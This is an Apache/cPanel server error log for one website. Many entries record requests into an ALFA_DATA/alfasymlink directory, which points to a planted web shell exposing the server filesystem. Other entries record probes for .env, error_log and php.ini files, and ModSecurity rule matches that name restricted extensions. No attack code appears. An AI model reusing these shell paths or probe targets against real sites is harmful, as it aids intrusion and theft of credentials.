[Mon Oct 26 12:20:55.911138 2026] [ssl:error] [pid 3058833:tid 3058833] (70014)End of file found: [client 23.21.148.226:55828] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:20:59.780948 2026] [ssl:error] [pid 3057476:tid 3057476] (70014)End of file found: [client 54.156.55.147:24530] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:21:13.507988 2026] [security2:error] [pid 3060603:tid 3060603] [client 107.172.76.131:55243] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "hosp1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at997f-qVqrvJSMRh1FQVgAAAAg"], referer: https://hosp1.sherwinpinturas.com/beta.php
[Mon Oct 26 12:21:13.508073 2026] [security2:error] [pid 3060603:tid 3060603] [client 107.172.76.131:55243] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "hosp1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at997f-qVqrvJSMRh1FQVgAAAAg"], referer: https://hosp1.sherwinpinturas.com/beta.php
[Mon Oct 26 12:21:15.937251 2026] [core:error] [pid 3044303:tid 3044303] (13)Permission denied: [client 100.28.57.133:11738] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/class/drm/card0/device/firmware_node/physical_node/subsystem/drivers/exar_serial/uevent
[Mon Oct 26 12:21:19.909716 2026] [ssl:error] [pid 3057476:tid 3057476] (70014)End of file found: [client 34.196.6.199:56411] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:21:23.947606 2026] [ssl:error] [pid 3060604:tid 3060604] (70014)End of file found: [client 185.191.171.12:43266] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:21:35.800129 2026] [ssl:error] [pid 3062279:tid 3062279] (70014)End of file found: [client 44.209.35.147:37344] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:21:40.482677 2026] [ssl:error] [pid 3060604:tid 3060604] (70014)End of file found: [client 52.205.113.104:24495] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:21:53.160407 2026] [core:error] [pid 3062870:tid 3062870] (13)Permission denied: [client 85.208.96.206:59046] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/TCPv6/usersize
[Mon Oct 26 12:21:59.746926 2026] [ssl:error] [pid 3060604:tid 3060604] (70014)End of file found: [client 34.234.206.30:33843] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:22:03.953064 2026] [ssl:error] [pid 3052563:tid 3052563] (70014)End of file found: [client 54.80.73.122:18787] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:22:04.729124 2026] [core:error] [pid 3044299:tid 3044299] (13)Permission denied: [client 185.191.171.11:12720] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-rcl-1k/sanity_checks
[Mon Oct 26 12:22:06.585315 2026] [core:error] [pid 3057239:tid 3057239] (13)Permission denied: [client 185.191.171.3:35416] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/mqueue_inode_cache/aliases
[Mon Oct 26 12:22:06.586150 2026] [security2:error] [pid 3057239:tid 3057239] [client 185.191.171.3:35416] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/kernel/slab/mqueue_inode_cache/aliases"] [unique_id "at9-Lg0g2jjdjIvFvbzYpgAAAAY"]
[Mon Oct 26 12:22:06.586192 2026] [security2:error] [pid 3057239:tid 3057239] [client 185.191.171.3:35416] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/kernel/slab/mqueue_inode_cache/aliases"] [unique_id "at9-Lg0g2jjdjIvFvbzYpgAAAAY"]
[Mon Oct 26 12:22:11.901772 2026] [ssl:error] [pid 3044281:tid 3044281] (70014)End of file found: [client 54.225.199.17:16622] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:22:15.953708 2026] [core:error] [pid 3044299:tid 3044299] (13)Permission denied: [client 98.82.66.172:11681] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/subsystem/devices/device:1d/subsystem/devices/PNP0A03:00/device:03/physical_node/resource0_wc
[Mon Oct 26 12:22:23.967554 2026] [core:error] [pid 3052342:tid 3052342] (13)Permission denied: [client 50.19.221.48:64088] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/cpu1/firmware_node/subsystem/devices/PNP0A03:00/physical_node/0000:00:05.0/driver/0000:00:03.0/subsystem/drivers/Cavium PTP Driver/new_id
[Mon Oct 26 12:22:29.929420 2026] [ssl:error] [pid 3039832:tid 3039832] (70014)End of file found: [client 85.208.96.195:13686] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:22:31.754522 2026] [ssl:error] [pid 3044299:tid 3044299] (70014)End of file found: [client 18.232.11.247:13187] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:22:35.965867 2026] [ssl:error] [pid 3057239:tid 3057239] (70014)End of file found: [client 35.174.253.85:48958] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:22:40.069062 2026] [ssl:error] [pid 3052342:tid 3052342] (70014)End of file found: [client 34.206.193.60:59565] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:22:43.929017 2026] [ssl:error] [pid 3044281:tid 3044281] (70014)End of file found: [client 54.147.238.89:63232] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:22:44.534767 2026] [security2:error] [pid 3060603:tid 3060603] [client 107.172.76.131:55243] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "hosp1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at9-Sf-qVqrvJSMRh1FQXQAAAAg"], referer: https://hosp1.sherwinpinturas.com/beta.php
[Mon Oct 26 12:22:44.534814 2026] [security2:error] [pid 3060603:tid 3060603] [client 107.172.76.131:55243] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "hosp1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at9-Sf-qVqrvJSMRh1FQXQAAAAg"], referer: https://hosp1.sherwinpinturas.com/beta.php
[Mon Oct 26 12:22:52.916734 2026] [ssl:error] [pid 3057476:tid 3057476] (70014)End of file found: [client 34.196.6.199:25623] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:22:59.860888 2026] [ssl:error] [pid 3060604:tid 3060604] (70014)End of file found: [client 34.202.88.37:54240] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:23:04.122741 2026] [ssl:error] [pid 3044299:tid 3044299] (70014)End of file found: [client 52.3.102.51:58259] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:23:11.860927 2026] [ssl:error] [pid 3060604:tid 3060604] (70014)End of file found: [client 44.212.145.46:8279] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:23:19.739609 2026] [ssl:error] [pid 3044299:tid 3044299] (70014)End of file found: [client 34.192.125.239:32451] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:23:27.750910 2026] [core:error] [pid 3057476:tid 3057476] (13)Permission denied: [client 3.209.174.110:64931] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:01/subsystem/devices/LNXSYBUS:00/PNP0C0F:04/subsystem/devices/PNP0A03:00/physical_node/0000:00:02.0/resource1
[Mon Oct 26 12:23:35.864964 2026] [ssl:error] [pid 3060604:tid 3060604] (70014)End of file found: [client 44.194.139.149:5551] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:23:51.552388 2026] [security2:error] [pid 3060604:tid 3060604] [client 43.159.152.184:48018] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "162.216.113.238"] [uri "/"] [unique_id "at9-l6aLmUXm0vq6-6OV1QAAAAo"]
[Mon Oct 26 12:23:59.957835 2026] [ssl:error] [pid 3052563:tid 3052563] (70014)End of file found: [client 3.210.223.61:47600] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:24:02.806454 2026] [ssl:error] [pid 3060604:tid 3060604] (70014)End of file found: [client 185.191.171.15:51994] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:24:04.227814 2026] [core:error] [pid 3058833:tid 3058833] (13)Permission denied: [client 52.203.65.83:37698] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/class/drm/card0/device/firmware_node/physical_node/subsystem/devices/0000:00:01.2/resource4
[Mon Oct 26 12:24:08.145220 2026] [core:error] [pid 3057476:tid 3057476] (13)Permission denied: [client 50.17.193.48:64099] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/pci0000:00/0000:00:01.0/firmware_node/physical_node/subsystem/drivers/virtio-pci/remove_id
[Mon Oct 26 12:24:11.788146 2026] [ssl:error] [pid 3052563:tid 3052563] (70014)End of file found: [client 54.164.106.236:6719] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:24:28.236588 2026] [core:error] [pid 3052563:tid 3052563] (13)Permission denied: [client 54.235.172.96:62858] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/pci0000:00/0000:00:01.0/firmware_node/physical_node/subsystem/drivers/cirrus/new_id
[Mon Oct 26 12:24:28.237307 2026] [security2:error] [pid 3052563:tid 3052563] [client 54.235.172.96:62858] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/pci0000:00/0000:00:01.0/firmware_node/physical_node/subsystem/drivers/cirrus/new_id"] [unique_id "at9-vBD8ps0KDjAKLrNKcgAAAAc"]
[Mon Oct 26 12:24:28.237356 2026] [security2:error] [pid 3052563:tid 3052563] [client 54.235.172.96:62858] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/pci0000:00/0000:00:01.0/firmware_node/physical_node/subsystem/drivers/cirrus/new_id"] [unique_id "at9-vBD8ps0KDjAKLrNKcgAAAAc"]
[Mon Oct 26 12:24:32.065551 2026] [ssl:error] [pid 3039832:tid 3039832] (70014)End of file found: [client 54.84.93.8:47809] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:24:39.767630 2026] [ssl:error] [pid 3058816:tid 3058816] (70014)End of file found: [client 52.2.4.213:58610] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:24:43.733588 2026] [core:error] [pid 3057476:tid 3057476] (13)Permission denied: [client 34.205.163.103:40495] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/subsystem/devices/device:1d/subsystem/devices/PNP0A03:00/physical_node/0000:00:02.0/resource1
[Mon Oct 26 12:24:47.703220 2026] [ssl:error] [pid 3039832:tid 3039832] (70014)End of file found: [client 54.156.248.117:36654] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:24:51.876508 2026] [core:error] [pid 3057239:tid 3057239] (13)Permission denied: [client 52.6.5.24:2757] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:12/subsystem/devices/device:1a/subsystem/devices/PNP0A03:00/QEMU0002:00/physical_node/driver/bind
[Mon Oct 26 12:24:55.914300 2026] [ssl:error] [pid 3052342:tid 3052342] (70014)End of file found: [client 23.23.104.107:47361] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:24:56.197887 2026] [security2:error] [pid 3058816:tid 3058816] [client 130.12.180.175:49612] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "server.sherwinpinturas.com"] [uri "/.env"] [unique_id "at9-2M-doU5lRL_NAI8NiAAAAAE"]
[Mon Oct 26 12:24:56.198171 2026] [security2:error] [pid 3058816:tid 3058816] [client 130.12.180.175:49612] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "server.sherwinpinturas.com"] [uri "/.env"] [unique_id "at9-2M-doU5lRL_NAI8NiAAAAAE"]
[Mon Oct 26 12:24:56.198574 2026] [security2:error] [pid 3058816:tid 3058816] [client 130.12.180.175:49612] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "server.sherwinpinturas.com"] [uri "/.env"] [unique_id "at9-2M-doU5lRL_NAI8NiAAAAAE"]
[Mon Oct 26 12:24:59.763663 2026] [ssl:error] [pid 3062279:tid 3062279] (70014)End of file found: [client 34.231.156.59:62788] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:25:23.799044 2026] [ssl:error] [pid 3039832:tid 3039832] (70014)End of file found: [client 54.235.191.179:20372] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:25:27.937260 2026] [ssl:error] [pid 3044303:tid 3044303] (70014)End of file found: [client 54.225.81.20:37113] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:25:41.531046 2026] [ssl:error] [pid 3062870:tid 3062870] (70014)End of file found: [client 50.16.216.166:11996] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:25:43.935173 2026] [ssl:error] [pid 3044303:tid 3044303] (70014)End of file found: [client 52.44.148.203:25736] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:25:47.877816 2026] [ssl:error] [pid 3058816:tid 3058816] (70014)End of file found: [client 52.45.194.165:26543] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:25:55.680989 2026] [ssl:error] [pid 3062870:tid 3062870] (70014)End of file found: [client 100.28.133.214:28066] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:25:59.805327 2026] [ssl:error] [pid 3058833:tid 3058833] (70014)End of file found: [client 52.203.68.145:41109] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:26:07.754919 2026] [ssl:error] [pid 3058816:tid 3058816] (70014)End of file found: [client 52.3.104.214:31218] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:26:19.784833 2026] [ssl:error] [pid 3057476:tid 3057476] (70014)End of file found: [client 98.84.60.17:61134] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:26:25.313331 2026] [core:error] [pid 3052342:tid 3052342] (13)Permission denied: [client 85.208.96.194:49158] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ip4-frags/alloc_calls
[Mon Oct 26 12:26:31.766817 2026] [ssl:error] [pid 3062279:tid 3062279] (70014)End of file found: [client 34.231.77.232:28135] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:26:37.871042 2026] [security2:error] [pid 3061639:tid 3061639] [client 107.172.76.131:55241] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "bases1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at9_MscZCKnQrFhSDdegAAAAAA8"], referer: https://bases1.sherwinpinturas.com/beta.php
[Mon Oct 26 12:26:37.871080 2026] [security2:error] [pid 3061639:tid 3061639] [client 107.172.76.131:55241] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "bases1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at9_MscZCKnQrFhSDdegAAAAAA8"], referer: https://bases1.sherwinpinturas.com/beta.php
[Mon Oct 26 12:26:39.772787 2026] [ssl:error] [pid 3052342:tid 3052342] (70014)End of file found: [client 18.232.36.1:16834] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:26:43.784674 2026] [ssl:error] [pid 3060604:tid 3060604] (70014)End of file found: [client 35.168.238.50:45139] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:26:44.357552 2026] [core:error] [pid 3058833:tid 3058833] (13)Permission denied: [client 185.191.171.3:10914] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/tty/ttyS0/iomem_reg_shift
[Mon Oct 26 12:26:51.762664 2026] [ssl:error] [pid 3062279:tid 3062279] (70014)End of file found: [client 54.89.90.224:44008] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:26:56.100410 2026] [ssl:error] [pid 3052342:tid 3052342] (70014)End of file found: [client 18.205.91.101:63409] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:27:03.242546 2026] [ssl:error] [pid 3039832:tid 3039832] (70014)End of file found: [client 3.224.205.25:50014] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:27:11.792127 2026] [ssl:error] [pid 3057239:tid 3057239] (70014)End of file found: [client 54.85.126.86:3348] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:27:15.726405 2026] [ssl:error] [pid 3052342:tid 3052342] (70014)End of file found: [client 184.73.239.35:62930] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:27:20.166907 2026] [ssl:error] [pid 3044299:tid 3044299] (70014)End of file found: [client 44.214.19.8:27095] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:27:23.788844 2026] [ssl:error] [pid 3058833:tid 3058833] (70014)End of file found: [client 18.215.77.19:34600] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:27:36.033476 2026] [ssl:error] [pid 3062870:tid 3062870] (70014)End of file found: [client 3.212.86.97:3584] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:27:39.882546 2026] [ssl:error] [pid 3058833:tid 3058833] (70014)End of file found: [client 52.70.123.241:38633] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:27:43.782310 2026] [ssl:error] [pid 3060603:tid 3060603] (5)Input/output error: [client 35.171.117.160:53989] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:28:07.127470 2026] [core:error] [pid 3060603:tid 3060603] (13)Permission denied: [client 85.208.96.202:52788] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kernfs_node_cache/slab_size
[Mon Oct 26 12:28:15.755495 2026] [ssl:error] [pid 3058833:tid 3058833] (70014)End of file found: [client 52.2.4.213:41594] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:28:19.988001 2026] [ssl:error] [pid 3057239:tid 3057239] (70014)End of file found: [client 18.211.148.239:39022] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:28:27.773790 2026] [ssl:error] [pid 3052342:tid 3052342] (70014)End of file found: [client 98.80.130.239:57390] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:28:32.004427 2026] [core:error] [pid 3064182:tid 3064182] (13)Permission denied: [client 18.214.251.19:10174] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory4/node0/memory17/node0/cpu0/crash_notes_size
[Mon Oct 26 12:28:43.853675 2026] [ssl:error] [pid 3052563:tid 3052563] (70014)End of file found: [client 44.210.204.255:7121] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:28:52.957126 2026] [security2:error] [pid 3058816:tid 3058816] [client 107.172.76.131:55335] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "hosp2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at9_us-doU5lRL_NAI8NlQAAAAE"], referer: https://hosp2.sherwinpinturas.com/beta.php
[Mon Oct 26 12:28:52.957172 2026] [security2:error] [pid 3058816:tid 3058816] [client 107.172.76.131:55335] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "hosp2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at9_us-doU5lRL_NAI8NlQAAAAE"], referer: https://hosp2.sherwinpinturas.com/beta.php
[Mon Oct 26 12:28:55.962778 2026] [ssl:error] [pid 3044299:tid 3044299] (70014)End of file found: [client 3.94.40.182:43175] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:29:00.289145 2026] [ssl:error] [pid 3052563:tid 3052563] (70014)End of file found: [client 18.208.11.93:16509] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:29:11.866172 2026] [ssl:error] [pid 3062872:tid 3062872] (70014)End of file found: [client 184.73.35.182:18617] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:29:15.767781 2026] [ssl:error] [pid 3039832:tid 3039832] (70014)End of file found: [client 98.83.94.113:60739] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:29:27.992432 2026] [ssl:error] [pid 3039832:tid 3039832] (70014)End of file found: [client 100.29.155.89:49689] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:29:33.139013 2026] [core:error] [pid 3060603:tid 3060603] (13)Permission denied: [client 216.244.66.250:39076] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/tmp.5Su9PHsYDq
[Mon Oct 26 12:29:38.948718 2026] [authz_core:error] [pid 3057239:tid 3057239] [client 195.201.10.227:33574] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/error_log
[Mon Oct 26 12:29:39.724521 2026] [ssl:error] [pid 3060603:tid 3060603] (70014)End of file found: [client 54.90.244.132:15163] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:29:39.939978 2026] [authz_core:error] [pid 3057239:tid 3057239] [client 195.201.10.227:33574] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/error_log
[Mon Oct 26 12:29:41.630484 2026] [authz_core:error] [pid 3057239:tid 3057239] [client 195.201.10.227:33574] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/error_log
[Mon Oct 26 12:29:41.650456 2026] [security2:error] [pid 3057239:tid 3057239] [client 195.201.10.227:33574] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/"] [unique_id "at9_9Q0g2jjdjIvFvbzYwAAAAAY"]
[Mon Oct 26 12:29:41.650508 2026] [security2:error] [pid 3057239:tid 3057239] [client 195.201.10.227:33574] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/"] [unique_id "at9_9Q0g2jjdjIvFvbzYwAAAAAY"]
[Mon Oct 26 12:29:42.711992 2026] [authz_core:error] [pid 3057239:tid 3057239] [client 195.201.10.227:33574] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/error_log
[Mon Oct 26 12:29:43.547387 2026] [authz_core:error] [pid 3057239:tid 3057239] [client 195.201.10.227:33574] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/error_log
[Mon Oct 26 12:29:43.801492 2026] [ssl:error] [pid 3064917:tid 3064917] (5)Input/output error: [client 52.4.238.8:15884] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:29:59.844479 2026] [ssl:error] [pid 3060603:tid 3060603] (70014)End of file found: [client 54.204.12.115:46946] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:30:12.095890 2026] [ssl:error] [pid 3044281:tid 3044281] (70014)End of file found: [client 3.216.227.216:10391] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:30:14.124523 2026] [authz_core:error] [pid 3057239:tid 3057239] [client 195.201.10.227:33574] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/arg1/php.ini
[Mon Oct 26 12:30:16.318369 2026] [authz_core:error] [pid 3057239:tid 3057239] [client 195.201.10.227:33574] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/arg2/php.ini
[Mon Oct 26 12:30:19.863390 2026] [ssl:error] [pid 3064917:tid 3064917] (70014)End of file found: [client 3.218.35.239:10711] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:30:27.753483 2026] [core:error] [pid 3064975:tid 3064975] (13)Permission denied: [client 52.44.174.136:3936] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/cpu1/firmware_node/subsystem/devices/PNP0A03:00/physical_node/0000:00:05.0/driver/0000:00:04.0/subsystem/drivers/pci-stub/uevent
[Mon Oct 26 12:30:28.437174 2026] [security2:error] [pid 3064917:tid 3064917] [client 85.208.96.208:55876] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/rear/conf/Ubuntu.conf"] [unique_id "at-AJCzIZ5h8S-OqEyPWVAAAABI"]
[Mon Oct 26 12:30:28.437598 2026] [security2:error] [pid 3064917:tid 3064917] [client 85.208.96.208:55876] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/rear/conf/Ubuntu.conf"] [unique_id "at-AJCzIZ5h8S-OqEyPWVAAAABI"]
